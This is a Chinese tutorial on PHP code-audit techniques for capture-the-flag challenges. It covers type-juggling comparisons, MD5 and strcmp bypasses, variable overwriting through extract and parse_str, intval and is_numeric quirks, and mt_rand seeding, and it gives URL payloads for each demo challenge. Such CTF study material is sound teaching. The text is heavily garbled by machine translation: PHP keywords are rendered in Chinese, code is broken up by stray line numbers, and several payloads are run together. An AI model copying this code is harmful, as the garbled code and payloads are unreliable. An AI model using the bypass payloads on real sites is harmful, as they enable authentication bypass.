CTF 中的 PHP 代码审计
1 PHP 弱类型问题
1.1 原理
双等于号:如果$ a在类型转换后等于$ b如果$ a等于$ b,其类型相同,则三等于号:等于true
如果将值与字符串进行比较,则将字符串转换为值
共同的比较结果:
1
2
3
4
5
6
7
8
9
''==0==false
'123'==123
'abc'==0
'123a'==123
'0x01'==1
'0E123456789'=='0E987654321'
false==0==null=='''
null==false==0
true==1
1.2 实例
1.2.1 MD5 等 hash 函数相关题目
1.2.1.1 DEMO 1

有效载荷:url?param1=qnkcdzoparam2=aabg7xss
1.2.2.2 DEMO 2

有效载荷:url?param1 []=1param2 []=
1.2.2.3 DEMO 3

在字符串铸造之后,在数组中传递时,返回值是数组失败,无法绕过,因此它采用了MD5碰撞的形式。
工具:fastcoll
有效载荷:

1.2.2.4 DEMO 4

有效载荷:url?name []=1Password []=
1.2.2.5 DEMO 5 - MD5 与 SQL 注入的融合

有效载荷:url?password=ffifdyop

1.2.2 JSON 相关题目
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
php
lighlight_file(文件);
包括'flag.php';
if(isset($ _ post ['messages'])){
$ message=json_decode(_ $ post ['message']);
如果($ message-key==$ key){
Echo $ flag;
}
别的{
回声'失败';
}
}
别的{
回声'~~~~';
}
?
原理:字符串标志{xxx}与数字0的比较,结果为真
有效载荷:url?消息={'key':0}
1.2.3 SWITCH 相关题目
原理:确定开关是否是数字类型的情况时,开关将其中的参数转换为INT类型。通过开关来判断,它是双重类型的双倍1
2
3
4
5
6
7
8
9
10
11
12
13
14
php
lighlight_file(文件);
$ i='3nanme';
开关($ i){
案例0:
案例1:
案例2:
回声“这是两个”;
休息;
案例3:
Echo'Frag';
休息;
}
?
1.2.4 STRCMP 相关题目
原理:使用strcmp中的参数作为数组,返回值为null,在非图案比较中等于0。1
2
3
4
5
6
7
8
9
10
11
12
13
php
lighlight_file(文件);
包括'flag.php';
if(isset($ _ post ['password'])){
if(strcmp($ _ post ['password'],$ password)==0){
回声'正确!登录成功';
Echo $ flag;
出口();
} 别的{
回声'错误密码.';
}
}
?
有效载荷:url?密码[]=
1.2.5 in_array 函数
12
3
4
5
6
php
lighlight_file(文件);
$ array=[0,1,2,'3'];
var_dump(in_array('abc',$ array));
var_dump(in_array('1BC',$ array));
var_dump(in_array(3,$ array));
返回结果是:真实,真实,真实
1.2.6 array_search 函数
在数组中搜索给定值,如果成功,请返回第一个相应的密钥名称。1
2
3
4
5
6
7
php
lighlight_file(文件);
$ array=[0,1,2,'3'];
var_dump(array_search('abc',$ array));
var_dump(array_search('1BC',$ array));
var_dump(array_search(3,$ array));
var_dump(array_search('3',$ array));
返回结果为:0、1、3、3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php
如果(!is_array($ _ get ['test'])){
出口();
}
$ test=$ _get ['test'];
对于($ i=0; $ i count($ test); $ i ++){
如果($ test [$ i]==='admin'){
回声'错误';
出口();
}
$ test [$ i]=intval($ test [$ i]);
}
if(array_search('admin',$ test)===0){
Echo'Frag';
} 别的{
回声'false';
}
有效载荷:url?test [0]=0
1.2.7 strpos 函数
12
3
4
5
php
var_dump(strpos('abcd','a'));
//int(0)
var_dump(strpos('abcd','a')==false);
//布尔(true)
2 变量覆盖问题
2.1 extract 函数

演示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
php
lighlight_file(文件);
包括'flag.php';
提取($ _ get);
if(isset($礼物)){
$ content=trim(file_get_contents($ flag));
if($ gaint==$ content){
echo $ trueflag;
}
别的{
回声'哦.';
}
}
?
令File_get_content()返回值为空,您可以绕过它。
有效载荷:礼物=flag=
2.2 遍历初始化变量
由于$$可以在PHP中用于声明变量,因此在遍历数组时可能会覆盖原始值。1
2
3
4
5
6
7
8
9
10
11
php
lighlight_file(文件);
$ a='helloworld';
回声$ a;
回声'$ a';
回声'br /'
foreach($ _获取为$ key=$ value){
$$ key=$ value;
}
回声'$ a';
?
$键和$ value都是可控的,因此请修改代码第8行的$ a变量的点,因此$ key=a,$$ key=$ a,$ value是您要修改的值
有效载荷:url?a=后换
演示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
php
lighlight_file(文件);
包括'flag.php';
$ _403='访问拒绝';
$ _200='欢迎admin';
如果($ _ server ['request_method']!='post'){
die('BugsBunnyCtf在这里

}
如果(!isset($ _ post ['flag'])){
死($ _ 403);
}
foreach($ _get as $ key=$ value){
$$ key=$$ value;
}
foreach($ _post as $ key=$ value){
$$ key=$ value;
}
如果($ _ post ['flag']!==$ flag){
死($ _ 403);
}
回声'这是您的标志:'。 $标志。 '\ n';
死($ _ 200);
?
有效载荷:url?_200=flag + post:flag=123
2.3 parse_str 函数


演示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php
包括'flag.php';
if(占($ _ get ['id'])){
show_source(文件);
死();
} 别的{
包括('flag.php');
$ a='www.openctf.com';
$ id=$ _get ['id'];
@parse_str($ id);
if($ a [0]!='qnkcdzo'md5($ a [0])==md5('qnkcdzo')){
Echo $ flag;
} 别的{
退出(“这实际上很简单,不困难!”);
}
}
?
有效载荷:url?id=a [0]=S878926199A
技能
由于PHP变量名称不能具有“点”和“空格”,因此它们将被转换为Parase_str函数中的下划线。
1
2
3
php
$ a=$ _get ['a_a'];
回声$ a;
当传递参数命名时:url?a.a=123,它将转换为a_a,因此可以正常输出内容
3 空白符相关
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
php
lighlight_file(文件);
包括'flag.php';
$ info='';
$ req=[];
ini_set('display_error',false);
error_report(0);
如果(!isset($ _ get ['number'])){
死(“玩得开心!”);
}
foreach([$ _ get,$ _post] as $ global_var){
foreach($ global_var as key=$ value){
$ value=trim($ value);
is_string($ value)$ req [$ key]=addslashes($ value);
}
}
函数is_palindrome_number($ number){
$ number=strval($ number);
$ i=0;
$ j=strlen($ number)-1;
while($ i $ j){
if($ number [$ i]!==$ number [$ j]){
返回false;
}
$ i ++;
$ j--;
}
返回true;
}
if(is_numeric($ _请求['number'])){
$ info='对不起,您无法输入一个号码!';
}
否则if($ req ['number']!=strval(intval($ req ['number'])))))
{
$ info='数字必须等于\'s Integer !';
}
别的
{
$ value1=intval($ req ['number']);
$ value2=intval(strrev($ req ['number']));
如果($ value1!=$ value2)
{
$ info='no,这不是回文编号';
}
别的
{
如果(is_palindrome_number($ req ['number'])){
$ info='很好! {$ value1}是一个回文编号!'
}
别的{
$ info=$ flag;
}
}
}
echo $ info;
?
3.1 intval 函数
成功返回VAR的间值,而在失败上为0。空数组返回0,非空数组返回1最大值取决于操作系统
32位操作系统的最大签名整数范围为-2147483648至2147483647
在64位系统上,最大签名的整数值为9223372036854775807
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
php
Echo Intval(42); //42
Echo Intval(4.2); //4
Echo Intval('42'); //42
Echo Intval('+42'); //42
Echo Intval('-42'); //-42
Echo Intval(042); //34
Echo Intval('042'); //42
Echo Intval(1E10); //1000000000
Echo Intval('1E10'); //1
Echo Intval(0x1a); //26
Echo Intval(42000000); //42000000
Echo Intval(420000000000000000000); //0
Echo Intval('4200000000000000000'); //2147483647
Echo Intval(42,8); //42
Echo Intval('42',8); //34
Echo Intval(array()); //0
echo intval(array('foo','bar')); //1
?
3.2 浮点数精度

3.3 is_numeric 函数

当传递的字符串包含特殊符号(例如空格)时,\ t \ r \ n \ v \ f,返回结果仍然为true
3.3 trim 函数

功能比较:
源代码
修剪
删除\ t \ n \ r \ 0 \ x0b
is_numeric,intval
跳过\ t \ n \ r \ f \ v
有效载荷:编号=%00%0C121
4 伪随机数相关
4.1 mt_rand 函数

如果我们自己指定范围,那么如果太小,则很容易破裂。因此,在大多数实际应用中,未指定该范围。 mt_rand()函数的默认范围是0和mt_getrandmax()之间的伪随机数

同一种子生成的随机数是相同的,因此您可以通过不相反地删除MT_RAND的种子在同一页面上获得另一个兰特的值